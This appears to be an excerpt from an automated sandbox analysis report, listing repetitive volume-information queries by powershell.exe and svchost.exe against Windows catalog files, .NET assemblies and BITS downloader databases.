            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformation
            Source: C:\Windows\System32\svchost.exeQueries volume information: C: VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
